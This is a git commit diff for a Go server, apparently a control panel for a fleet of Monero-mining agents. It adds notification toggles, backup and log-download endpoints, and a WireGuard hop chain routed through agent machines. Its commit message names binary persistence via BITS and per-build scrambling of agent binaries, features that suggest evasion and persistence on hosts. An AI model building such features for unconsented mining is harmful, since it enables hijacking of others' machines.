feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent)
|
||||
type Evaluator struct {
|
||||
db *db.Database
|
||||
thresholds func() Thresholds
|
||||
notify func() NotifyConfig
|
||||
settings func() Settings
|
||||
broadcast Broadcaster
|
||||
mu sync.Mutex
|
||||
baseline map[string]float64
|
||||
@@ -40,11 +40,11 @@ type Evaluator struct {
|
||||
cooldown time.Duration
|
||||
}
|
||||
|
||||
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator {
|
||||
func NewEvaluator(database *db.Database, thresholds func() Thresholds, settings func() Settings, broadcast Broadcaster) *Evaluator {
|
||||
return &Evaluator{
|
||||
db: database,
|
||||
thresholds: thresholds,
|
||||
notify: notify,
|
||||
settings: settings,
|
||||
broadcast: broadcast,
|
||||
baseline: make(map[string]float64),
|
||||
lastFired: make(map[string]time.Time),
|
||||
@@ -180,12 +180,25 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
|
||||
e.mu.Unlock()
|
||||
|
||||
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
|
||||
NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message)
|
||||
s := e.settings()
|
||||
if s.EnabledForAlertType(ev.Type) {
|
||||
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
|
||||
}
|
||||
if e.broadcast != nil {
|
||||
e.broadcast(ev)
|
||||
}
|
||||
}
|
||||
|
||||
// GetNotifyConfig returns delivery credentials for channel probes.
|
||||
func (e *Evaluator) GetNotifyConfig() NotifyConfig {
|
||||
return e.settings().NotifyConfig
|
||||
}
|
||||
|
||||
// GetSettings returns full notification settings.
|
||||
func (e *Evaluator) GetSettings() Settings {
|
||||
return e.settings()
|
||||
}
|
||||
|
||||
func (e *Evaluator) ActiveAlerts() []AlertEvent {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
|
||||
@@ -17,7 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) {
|
||||
var fired []AlertEvent
|
||||
e := &Evaluator{
|
||||
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
|
||||
notify: func() NotifyConfig { return NotifyConfig{} },
|
||||
settings: func() Settings { return NewSettings(NotifyConfig{}, EventToggles{AgentOffline: true}) },
|
||||
broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
|
||||
baseline: make(map[string]float64),
|
||||
lastFired: make(map[string]time.Time),
|
||||
|
||||
54
server/internal/alerts/notifier.go
Normal file
54
server/internal/alerts/notifier.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package alerts
|
||||
|
||||
import "log"
|
||||
|
||||
// Notifier sends Telegram/email when Calibrate toggles allow it.
|
||||
type Notifier struct {
|
||||
settings func() Settings
|
||||
}
|
||||
|
||||
func NewNotifier(settings func() Settings) *Notifier {
|
||||
return &Notifier{settings: settings}
|
||||
}
|
||||
|
||||
func (n *Notifier) Emit(event string, title, body string) {
|
||||
if n == nil || n.settings == nil {
|
||||
return
|
||||
}
|
||||
s := n.settings()
|
||||
if !n.eventEnabled(s, event) {
|
||||
return
|
||||
}
|
||||
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
|
||||
return
|
||||
}
|
||||
log.Printf("[Notify] %s: %s", event, body)
|
||||
NotifyAll(s.NotifyConfig, title, body)
|
||||
}
|
||||
|
||||
func (n *Notifier) eventEnabled(s Settings, event string) bool {
|
||||
switch event {
|
||||
case EventAgentConnect:
|
||||
return s.Events.AgentConnect
|
||||
case EventAgentReconnect:
|
||||
return s.Events.AgentReconnect
|
||||
case EventBuildComplete:
|
||||
return s.Events.BuildComplete
|
||||
case "offline":
|
||||
return s.Events.AgentOffline
|
||||
case "hashrate_drop":
|
||||
return s.Events.HashrateDrop
|
||||
case "rejection_rate":
|
||||
return s.Events.RejectionRate
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// GetSettings exposes current settings (alert test handler).
|
||||
func (n *Notifier) GetSettings() Settings {
|
||||
if n == nil || n.settings == nil {
|
||||
return Settings{}
|
||||
}
|
||||
return n.settings()
|
||||
}
|
||||
25
server/internal/alerts/notifier_test.go
Normal file
25
server/internal/alerts/notifier_test.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package alerts
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNotifierRespectsToggles(t *testing.T) {
|
||||
n := NewNotifier(func() Settings {
|
||||
return NewSettings(
|
||||
NotifyConfig{TelegramBotToken: "t", TelegramChatID: "1"},
|
||||
EventToggles{AgentConnect: false, AgentReconnect: true},
|
||||
)
|
||||
})
|
||||
// disabled — no panic
|
||||
n.Emit(EventAgentConnect, "title", "body")
|
||||
n.Emit(EventAgentReconnect, "title", "body")
|
||||
}
|
||||
|
||||
func TestSettingsEnabledForAlertType(t *testing.T) {
|
||||
s := NewSettings(NotifyConfig{}, EventToggles{AgentOffline: false, HashrateDrop: true})
|
||||
if s.EnabledForAlertType("offline") {
|
||||
t.Fatal("expected offline disabled")
|
||||
}
|
||||
if !s.EnabledForAlertType("hashrate_drop") {
|
||||
t.Fatal("expected hashrate enabled")
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/smtp"
|
||||
"strings"
|
||||
@@ -27,11 +28,11 @@ func SendTelegram(cfg NotifyConfig, text string) error {
|
||||
return nil
|
||||
}
|
||||
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", cfg.TelegramBotToken)
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
payload, _ := json.Marshal(map[string]string{
|
||||
"chat_id": cfg.TelegramChatID,
|
||||
"text": text,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
|
||||
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(payload))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -42,8 +43,19 @@ func SendTelegram(cfg NotifyConfig, text string) error {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode >= 300 {
|
||||
return fmt.Errorf("telegram API status %d", resp.StatusCode)
|
||||
msg := strings.TrimSpace(string(body))
|
||||
if msg == "" {
|
||||
return fmt.Errorf("telegram API status %d", resp.StatusCode)
|
||||
}
|
||||
var apiErr struct {
|
||||
Description string `json:"description"`
|
||||
}
|
||||
if json.Unmarshal(body, &apiErr) == nil && apiErr.Description != "" {
|
||||
return fmt.Errorf("telegram: %s", apiErr.Description)
|
||||
}
|
||||
return fmt.Errorf("telegram API status %d: %s", resp.StatusCode, msg)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
41
server/internal/alerts/settings.go
Normal file
41
server/internal/alerts/settings.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package alerts
|
||||
|
||||
// Event toggles — all default true in server DefaultConfig.
|
||||
type EventToggles struct {
|
||||
AgentConnect bool
|
||||
AgentReconnect bool
|
||||
AgentOffline bool
|
||||
HashrateDrop bool
|
||||
RejectionRate bool
|
||||
BuildComplete bool
|
||||
}
|
||||
|
||||
// Settings combines delivery credentials with per-event toggles.
|
||||
type Settings struct {
|
||||
NotifyConfig
|
||||
Events EventToggles
|
||||
}
|
||||
|
||||
func NewSettings(nc NotifyConfig, ev EventToggles) Settings {
|
||||
return Settings{NotifyConfig: nc, Events: ev}
|
||||
}
|
||||
|
||||
// EnabledForAlertType maps evaluator alert types to toggles.
|
||||
func (s Settings) EnabledForAlertType(alertType string) bool {
|
||||
switch alertType {
|
||||
case "offline":
|
||||
return s.Events.AgentOffline
|
||||
case "hashrate_drop":
|
||||
return s.Events.HashrateDrop
|
||||
case "rejection_rate":
|
||||
return s.Events.RejectionRate
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
EventAgentConnect = "agent_connect"
|
||||
EventAgentReconnect = "agent_reconnect"
|
||||
EventBuildComplete = "build_complete"
|
||||
)
|
||||
74
server/internal/api/backup_handler.go
Normal file
74
server/internal/api/backup_handler.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
// BackupHandler serves GET /api/v1/backup.
|
||||
// It returns a zip containing config.json, users.json, miner.db, and a
|
||||
// backup-info.txt with the timestamp and server version. The caller must
|
||||
// already be authenticated via basicAuthMiddleware (registered in router.go).
|
||||
type BackupHandler struct {
|
||||
dataDir string
|
||||
serverVersion string
|
||||
}
|
||||
|
||||
// NewBackupHandler creates a BackupHandler for the given data directory.
|
||||
func NewBackupHandler(dataDir, serverVersion string) *BackupHandler {
|
||||
return &BackupHandler{dataDir: dataDir, serverVersion: serverVersion}
|
||||
}
|
||||
|
||||
func (h *BackupHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
now := time.Now().UTC()
|
||||
dateTag := now.Format("2006-01-02")
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
|
||||
// backup-info.txt
|
||||
info := fmt.Sprintf("AetherForge Deck Backup\nTimestamp: %s\nVersion: %s\n",
|
||||
now.Format(time.RFC3339), h.serverVersion)
|
||||
if fw, err := zw.Create("backup-info.txt"); err == nil {
|
||||
_, _ = fw.Write([]byte(info))
|
||||
}
|
||||
|
||||
// Helper: add a file from disk into the zip, skip gracefully if missing.
|
||||
addFile := func(name, diskPath string) {
|
||||
data, err := os.ReadFile(diskPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
fw, err := zw.Create(name)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _ = fw.Write(data)
|
||||
}
|
||||
|
||||
addFile("config.json", filepath.Join(h.dataDir, "config.json"))
|
||||
addFile("users.json", filepath.Join(h.dataDir, "users.json"))
|
||||
addFile("miner.db", filepath.Join(h.dataDir, "miner.db"))
|
||||
|
||||
if err := zw.Close(); err != nil {
|
||||
http.Error(w, "Failed to create backup zip", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filename := fmt.Sprintf("aetherforge-backup-%s.zip", dateTag)
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
|
||||
w.Header().Set("Content-Length", fmt.Sprintf("%d", buf.Len()))
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write(buf.Bytes())
|
||||
}
|
||||
@@ -8,6 +8,8 @@ import (
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -35,6 +37,7 @@ type FleetHandler struct {
|
||||
pools *pool.Manager
|
||||
alerts *alerts.Evaluator
|
||||
defaultPool pool.Config
|
||||
dataDir string
|
||||
|
||||
// XMR price cache — per-handler so multiple routers in one process stay isolated.
|
||||
xmrPriceMu sync.Mutex
|
||||
@@ -52,7 +55,7 @@ type poolEarningsCache struct {
|
||||
|
||||
const earningsCacheTTL = 5 * time.Minute
|
||||
|
||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler {
|
||||
return &FleetHandler{
|
||||
db: database,
|
||||
ws: ws,
|
||||
@@ -60,6 +63,7 @@ func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *poo
|
||||
pools: pools,
|
||||
alerts: evaluator,
|
||||
defaultPool: defaultPool,
|
||||
dataDir: dataDir,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,6 +75,53 @@ func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, f.alerts.ActiveAlerts())
|
||||
}
|
||||
|
||||
// PostAlertTest fires a test notification on every configured channel and
|
||||
// returns per-channel results without raising a real fleet alert.
|
||||
func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) {
|
||||
const testMsg = "AetherForge test notification — alerts are configured correctly"
|
||||
|
||||
type channelResult struct {
|
||||
Sent bool `json:"sent"`
|
||||
Error *string `json:"error"`
|
||||
}
|
||||
|
||||
result := map[string]channelResult{}
|
||||
|
||||
if f.alerts == nil {
|
||||
errStr := "alert evaluator not configured"
|
||||
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||
writeJSON(w, result)
|
||||
return
|
||||
}
|
||||
|
||||
cfg := f.alerts.GetNotifyConfig()
|
||||
|
||||
// Telegram
|
||||
if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" {
|
||||
errStr := "not configured"
|
||||
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else if err := alerts.SendTelegram(cfg, testMsg); err != nil {
|
||||
errStr := err.Error()
|
||||
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else {
|
||||
result["telegram"] = channelResult{Sent: true}
|
||||
}
|
||||
|
||||
// SMTP
|
||||
if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" {
|
||||
errStr := "not configured"
|
||||
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil {
|
||||
errStr := err.Error()
|
||||
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else {
|
||||
result["smtp"] = channelResult{Sent: true}
|
||||
}
|
||||
|
||||
writeJSON(w, result)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
||||
if f.pools == nil {
|
||||
writeJSON(w, []pool.PoolStatus{})
|
||||
@@ -254,6 +305,23 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
// The dashboard will receive the log content via the commandResults queue.
|
||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("download") == "1" {
|
||||
// If the in-memory buffer is empty, try the persisted log file on disk.
|
||||
if content == "" && f.dataDir != "" {
|
||||
logPath := filepath.Join(f.dataDir, "logs", id+".log")
|
||||
if data, err := os.ReadFile(logPath); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
}
|
||||
date := time.Now().UTC().Format("2006-01-02")
|
||||
filename := fmt.Sprintf("agent-%s-%s.log", id, date)
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
fmt.Fprint(w, content)
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agent_id": id,
|
||||
"content": content,
|
||||
|
||||
@@ -64,7 +64,7 @@ func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AI
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
ws := NewWSHub(database)
|
||||
ai := NewAIHandler(database)
|
||||
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{})
|
||||
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}, "")
|
||||
return fh, database, ws, ai
|
||||
}
|
||||
|
||||
@@ -182,10 +182,10 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
|
||||
|
||||
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
||||
return alerts.Thresholds{OfflineMinutes: 5}
|
||||
}, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
|
||||
}, func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
|
||||
evaluator.RunOnce()
|
||||
|
||||
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})
|
||||
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}, "")
|
||||
rec := httptest.NewRecorder()
|
||||
fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
@@ -200,6 +200,48 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPostAlertTestUnconfigured(t *testing.T) {
|
||||
evaluator := alerts.NewEvaluator(nil, func() alerts.Thresholds { return alerts.Thresholds{} },
|
||||
func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
|
||||
fh := NewFleetHandler(nil, NewWSHub(nil), NewAIHandler(nil), nil, evaluator, pool.Config{}, "")
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
var body map[string]struct {
|
||||
Sent bool `json:"sent"`
|
||||
Error *string `json:"error"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["telegram"].Sent || body["smtp"].Sent {
|
||||
t.Fatalf("expected no sends, got %+v", body)
|
||||
}
|
||||
if body["telegram"].Error == nil || *body["telegram"].Error != "not configured" {
|
||||
t.Fatalf("telegram: %+v", body["telegram"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPostAlertTestNilEvaluator(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
var body map[string]struct {
|
||||
Error *string `json:"error"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["telegram"].Error == nil || *body["telegram"].Error != "alert evaluator not configured" {
|
||||
t.Fatalf("got %+v", body["telegram"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetGetPoolStatusNilManager(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
rec := httptest.NewRecorder()
|
||||
@@ -556,7 +598,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
|
||||
fh, _, ws, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
|
||||
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
|
||||
@@ -736,7 +778,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))
|
||||
|
||||
@@ -4,12 +4,15 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
var serverStartTime = time.Now()
|
||||
|
||||
type Handler struct {
|
||||
db *db.Database
|
||||
}
|
||||
@@ -100,6 +103,45 @@ func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, map[string]string{"status": "ok"})
|
||||
}
|
||||
|
||||
// GET /api/v1/server/ready
|
||||
// Requires auth (not in the basicAuthMiddleware bypass list).
|
||||
// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check.
|
||||
func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) {
|
||||
uptime := int64(time.Since(serverStartTime).Seconds())
|
||||
resp := map[string]interface{}{
|
||||
"status": "ok",
|
||||
"uptime_s": uptime,
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("verbose") != "1" {
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
|
||||
// DB ping
|
||||
dbStatus := "ok"
|
||||
if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil {
|
||||
dbStatus = "error: " + err.Error()
|
||||
resp["status"] = "degraded"
|
||||
}
|
||||
resp["db"] = dbStatus
|
||||
|
||||
// Count online agents
|
||||
var onlineAgents int
|
||||
if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil {
|
||||
onlineAgents = -1
|
||||
}
|
||||
resp["agents_online"] = onlineAgents
|
||||
|
||||
if resp["status"] == "degraded" {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusServiceUnavailable)
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
return
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// GET /api/v1/builds
|
||||
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
builds, err := h.db.ListBuilds(50)
|
||||
|
||||
@@ -68,7 +68,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
|
||||
455
server/internal/api/pathtracer_handler.go
Normal file
455
server/internal/api/pathtracer_handler.go
Normal file
@@ -0,0 +1,455 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"image/color"
|
||||
"image/png"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
qrcode "github.com/skip2/go-qrcode"
|
||||
|
||||
"golang.org/x/crypto/curve25519"
|
||||
)
|
||||
|
||||
// ── types ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
// HopStatus tracks one agent's progress in a trace session.
|
||||
type HopStatus string
|
||||
|
||||
const (
|
||||
HopPending HopStatus = "pending"
|
||||
HopReady HopStatus = "ready"
|
||||
HopFailed HopStatus = "failed"
|
||||
)
|
||||
|
||||
// HopInfo records what we know about each hop in the chain.
|
||||
type HopInfo struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
ExternalIP string `json:"external_ip"`
|
||||
Port int `json:"port"`
|
||||
PublicKey string `json:"public_key"`
|
||||
PrivateKey string `json:"-"` // never sent to client
|
||||
LocalAddr string `json:"local_addr"`
|
||||
Status HopStatus `json:"status"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// TraceSession holds all state for one active VPN session.
|
||||
type TraceSession struct {
|
||||
ID string `json:"id"`
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Hops []*HopInfo `json:"hops"`
|
||||
Ready bool `json:"ready"`
|
||||
Error string `json:"error,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Client WireGuard keypair — used to build the QR config.
|
||||
clientPrivKey string
|
||||
clientPubKey string
|
||||
}
|
||||
|
||||
// PathTracerHandler manages on-demand WireGuard chain sessions.
|
||||
type PathTracerHandler struct {
|
||||
hub *WSHub
|
||||
mu sync.Mutex
|
||||
sessions map[string]*TraceSession
|
||||
}
|
||||
|
||||
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
|
||||
return &PathTracerHandler{
|
||||
hub: hub,
|
||||
sessions: make(map[string]*TraceSession),
|
||||
}
|
||||
}
|
||||
|
||||
// ── HTTP handlers ─────────────────────────────────────────────────────────────
|
||||
|
||||
// POST /api/v1/pathtrace/start
|
||||
// Body: {"agent_ids": ["id1","id2",...]}
|
||||
func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 {
|
||||
http.Error(w, "agent_ids required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.AgentIDs) > 3 {
|
||||
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
clientPriv, clientPub, err := generateServerWGKeyPair()
|
||||
if err != nil {
|
||||
http.Error(w, "keygen failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
sess := &TraceSession{
|
||||
ID: uuid.New().String(),
|
||||
AgentIDs: req.AgentIDs,
|
||||
CreatedAt: time.Now(),
|
||||
clientPrivKey: clientPriv,
|
||||
clientPubKey: clientPub,
|
||||
}
|
||||
|
||||
// Build hops with placeholder names (agent name lookup below).
|
||||
for i, id := range req.AgentIDs {
|
||||
sess.Hops = append(sess.Hops, &HopInfo{
|
||||
AgentID: id,
|
||||
AgentName: fmt.Sprintf("hop-%d", i+1),
|
||||
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
|
||||
Port: 51820,
|
||||
Status: HopPending,
|
||||
})
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.sessions[sess.ID] = sess
|
||||
h.mu.Unlock()
|
||||
|
||||
// Orchestrate asynchronously so the HTTP response returns quickly.
|
||||
go h.orchestrate(sess)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"hops": sess.Hops,
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/pathtrace/{id}/status
|
||||
func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
sess := h.getSession(chi.URLParam(r, "id"))
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"ready": sess.Ready,
|
||||
"error": sess.Error,
|
||||
"hops": sess.Hops,
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/pathtrace/{id}/qr
|
||||
func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) {
|
||||
sess := h.getSession(chi.URLParam(r, "id"))
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
ready := sess.Ready
|
||||
h.mu.Unlock()
|
||||
if !ready {
|
||||
http.Error(w, "session not ready yet", http.StatusAccepted)
|
||||
return
|
||||
}
|
||||
|
||||
cfg := h.buildClientConfig(sess)
|
||||
|
||||
// Return format: ?format=png → PNG image, default → JSON with text+png.
|
||||
if r.URL.Query().Get("format") == "png" {
|
||||
qr, err := qrcode.New(cfg, qrcode.High)
|
||||
if err != nil {
|
||||
http.Error(w, "qr generation failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
qr.BackgroundColor = color.Black
|
||||
qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green
|
||||
img := qr.Image(400)
|
||||
w.Header().Set("Content-Type", "image/png")
|
||||
_ = png.Encode(w, img)
|
||||
return
|
||||
}
|
||||
|
||||
qr, err := qrcode.Encode(cfg, qrcode.High, 300)
|
||||
if err != nil {
|
||||
http.Error(w, "qr generation failed", http.StatusInternalServerError)
|
